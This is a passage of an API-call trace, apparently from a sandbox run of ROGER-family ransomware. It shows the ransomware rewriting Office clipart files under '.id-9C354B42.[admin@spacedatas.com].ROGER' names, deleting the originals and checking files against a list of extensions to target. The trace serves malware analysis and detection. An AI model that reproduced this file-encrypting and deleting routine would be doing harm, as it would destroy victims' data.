hTemplateFile=0x0) returned 0x370 [0057.183] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=4894) returned 1 [0057.183] CloseHandle (hObject=0x370) returned 1 [0057.183] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif")) returned 0x20 [0057.183] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0057.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0057.184] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.184] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0057.184] GetLastError () returned 0x0 [0057.184] ReadFile (in: hFile=0x370, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x131e, lpOverlapped=0x0) returned 1 [0057.277] WriteFile (in: hFile=0x410, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0x1320, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0x1320, lpOverlapped=0x0) returned 1 [0057.278] ReadFile (in: hFile=0x370, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0057.278] WriteFile (in: hFile=0x410, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0057.278] SetEndOfFile (hFile=0x410) returned 1 [0057.278] CloseHandle (hObject=0x410) returned 1 [0057.278] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.278] SetEndOfFile (hFile=0x370) returned 1 [0057.280] CloseHandle (hObject=0x370) returned 1 [0057.280] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0057.281] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif")) returned 1 [0057.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0057.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0057.281] lstrlenW (lpString=".doc") returned 4 [0057.281] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0057.281] lstrlenW (lpString=".docx") returned 5 [0057.281] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0057.281] lstrlenW (lpString=".pdf") returned 4 [0057.281] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0057.281] lstrlenW (lpString=".xls") returned 4 [0057.281] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0057.281] lstrlenW (lpString=".xlsx") returned 5 [0057.281] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0057.281] lstrlenW (lpString=".ppt") returned 4 [0057.281] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0057.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0057.281] lstrlenW (lpString=".zip") returned 4 [0057.281] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0057.281] lstrlenW (lpString=".rar") returned 4 [0057.281] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0057.281] lstrlenW (lpString=".bz2") returned 4 [0057.281] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0057.281] lstrlenW (lpString=".7z") returned 3 [0057.281] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0057.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0057.282] lstrlenW (lpString=".dbf") returned 4 [0057.282] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0057.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0057.282] lstrlenW (lpString=".1cd") returned 4 [0057.282] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0057.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0057.282] lstrlenW (lpString=".jpg") returned 4 [0057.282] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0057.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0057.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0057.282] lstrlenW (lpString=".doc") returned 4 [0057.282] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0057.282] lstrlenW (lpString=".docx") returned 5 [0057.282] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0057.282] lstrlenW (lpString=".pdf") returned 4 [0057.282] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0057.282] lstrlenW (lpString=".xls") returned 4 [0057.282] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0057.282] lstrlenW (lpString=".xlsx") returned 5 [0057.282] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0057.282] lstrlenW (lpString=".ppt") returned 4 [0057.282] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0057.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0057.282] lstrlenW (lpString=".zip") returned 4 [0057.282] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0057.282] lstrlenW (lpString=".rar") returned 4 [0057.282] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0057.282] lstrlenW (lpString=".bz2") returned 4 [0057.282] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0057.282] lstrlenW (lpString=".7z") returned 3 [0057.282] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0057.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0057.283] lstrlenW (lpString=".dbf") returned 4 [0057.283] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0057.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0057.283] lstrlenW (lpString=".1cd") returned 4 [0057.283] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0057.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0057.283] lstrlenW (lpString=".jpg") returned 4 [0057.283] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0057.283] lstrcmpiW (lpString1=".GIF", lpString2=".ROGER") returned -1 [0057.283] lstrlenW (lpString="AG00171_.GIF") returned 12 [0057.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0057.283] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=5016) returned 1 [0057.283] CloseHandle (hObject=0x370) returned 1 [0057.283] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif")) returned 0x20 [0057.283] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0057.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0057.284] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.284] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0057.284] GetLastError () returned 0x0 [0057.284] ReadFile (in: hFile=0x370, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x1398, lpOverlapped=0x0) returned 1 [0057.322] WriteFile (in: hFile=0x410, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0x13a0, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0x13a0, lpOverlapped=0x0) returned 1 [0057.323] ReadFile (in: hFile=0x370, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0057.323] WriteFile (in: hFile=0x410, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0057.323] SetEndOfFile (hFile=0x410) returned 1 [0057.515] CloseHandle (hObject=0x410) returned 1 [0057.516] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.516] SetEndOfFile (hFile=0x370) returned 1 [0057.516] CloseHandle (hObject=0x370) returned 1 [0057.517] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0057.517] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif")) returned 1 [0057.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0057.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0057.517] lstrlenW (lpString=".doc") returned 4 [0057.517] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0057.517] lstrlenW (lpString=".docx") returned 5 [0057.517] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0057.517] lstrlenW (lpString=".pdf") returned 4 [0057.517] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0057.517] lstrlenW (lpString=".xls") returned 4 [0057.517] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0057.517] lstrlenW (lpString=".xlsx") returned 5 [0057.517] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0057.517] lstrlenW (lpString=".ppt") returned 4 [0057.517] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0057.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0057.517] lstrlenW (lpString=".zip") returned 4 [0057.517] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0057.517] lstrlenW (lpString=".rar") returned 4 [0057.518] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0057.518] lstrlenW (lpString=".bz2") returned 4 [0057.518] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0057.518] lstrlenW (lpString=".7z") returned 3 [0057.518] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0057.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0057.518] lstrlenW (lpString=".dbf") returned 4 [0057.518] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0057.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0057.518] lstrlenW (lpString=".1cd") returned 4 [0057.518] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0057.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0057.518] lstrlenW (lpString=".jpg") returned 4 [0057.518] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0057.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0057.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0057.518] lstrlenW (lpString=".doc") returned 4 [0057.518] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0057.518] lstrlenW (lpString=".docx") returned 5 [0057.518] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0057.518] lstrlenW (lpString=".pdf") returned 4 [0057.518] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0057.518] lstrlenW (lpString=".xls") returned 4 [0057.518] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0057.518] lstrlenW (lpString=".xlsx") returned 5 [0057.518] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0057.518] lstrlenW (lpString=".ppt") returned 4 [0057.518] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0057.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0057.518] lstrlenW (lpString=".zip") returned 4 [0057.518] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0057.518] lstrlenW (lpString=".rar") returned 4 [0057.519] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0057.519] lstrlenW (lpString=".bz2") returned 4 [0057.519] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0057.519] lstrlenW (lpString=".7z") returned 3 [0057.519] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0057.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0057.519] lstrlenW (lpString=".dbf") returned 4 [0057.519] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0057.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0057.519] lstrlenW (lpString=".1cd") returned 4 [0057.519] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0057.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0057.519] lstrlenW (lpString=".jpg") returned 4 [0057.519] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0057.519] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 [0057.519] lstrlenW (lpString="AN01044_.WMF") returned 12 [0057.519] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0057.519] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=1596) returned 1 [0057.519] CloseHandle (hObject=0x370) returned 1 [0057.520] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf")) returned 0x20 [0057.520] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0057.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0057.520] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.520] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0057.520] GetLastError () returned 0x0 [0057.520] ReadFile (in: hFile=0x370, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x63c, lpOverlapped=0x0) returned 1 [0057.664] WriteFile (in: hFile=0x410, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0x640, lpOverlapped=0x0) returned 1 [0057.667] ReadFile (in: hFile=0x370, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0057.667] WriteFile (in: hFile=0x410, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0057.667] SetEndOfFile (hFile=0x410) returned 1 [0058.006] CloseHandle (hObject=0x410) returned 1 [0058.006] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.006] SetEndOfFile (hFile=0x370) returned 1 [0058.007] CloseHandle (hObject=0x370) returned 1 [0058.007] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0058.007] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf")) returned 1 [0058.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0058.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0058.176] lstrlenW (lpString=".doc") returned 4 [0058.176] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.176] lstrlenW (lpString=".docx") returned 5 [0058.176] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0058.176] lstrlenW (lpString=".pdf") returned 4 [0058.176] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.176] lstrlenW (lpString=".xls") returned 4 [0058.176] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.176] lstrlenW (lpString=".xlsx") returned 5 [0058.176] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0058.177] lstrlenW (lpString=".ppt") returned 4 [0058.177] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0058.177] lstrlenW (lpString=".zip") returned 4 [0058.177] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.177] lstrlenW (lpString=".rar") returned 4 [0058.177] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.177] lstrlenW (lpString=".bz2") returned 4 [0058.177] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.177] lstrlenW (lpString=".7z") returned 3 [0058.177] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0058.177] lstrlenW (lpString=".dbf") returned 4 [0058.177] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0058.177] lstrlenW (lpString=".1cd") returned 4 [0058.177] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0058.178] lstrlenW (lpString=".jpg") returned 4 [0058.178] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0058.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0058.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0058.178] lstrlenW (lpString=".doc") returned 4 [0058.178] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.178] lstrlenW (lpString=".docx") returned 5 [0058.178] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0058.178] lstrlenW (lpString=".pdf") returned 4 [0058.178] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.178] lstrlenW (lpString=".xls") returned 4 [0058.178] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.178] lstrlenW (lpString=".xlsx") returned 5 [0058.178] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0058.178] lstrlenW (lpString=".ppt") returned 4 [0058.178] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0058.178] lstrlenW (lpString=".zip") returned 4 [0058.178] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.178] lstrlenW (lpString=".rar") returned 4 [0058.178] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.178] lstrlenW (lpString=".bz2") returned 4 [0058.178] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.178] lstrlenW (lpString=".7z") returned 3 [0058.178] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0058.178] lstrlenW (lpString=".dbf") returned 4 [0058.178] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0058.178] lstrlenW (lpString=".1cd") returned 4 [0058.178] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0058.178] lstrlenW (lpString=".jpg") returned 4 [0058.178] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0058.179] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 [0058.179] lstrlenW (lpString="AN01174_.WMF") returned 12 [0058.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0058.286] GetFileSizeEx (in: hFile=0x414, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=27858) returned 1 [0058.286] CloseHandle (hObject=0x414) returned 1 [0058.286] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf")) returned 0x20 [0058.287] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0058.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF" 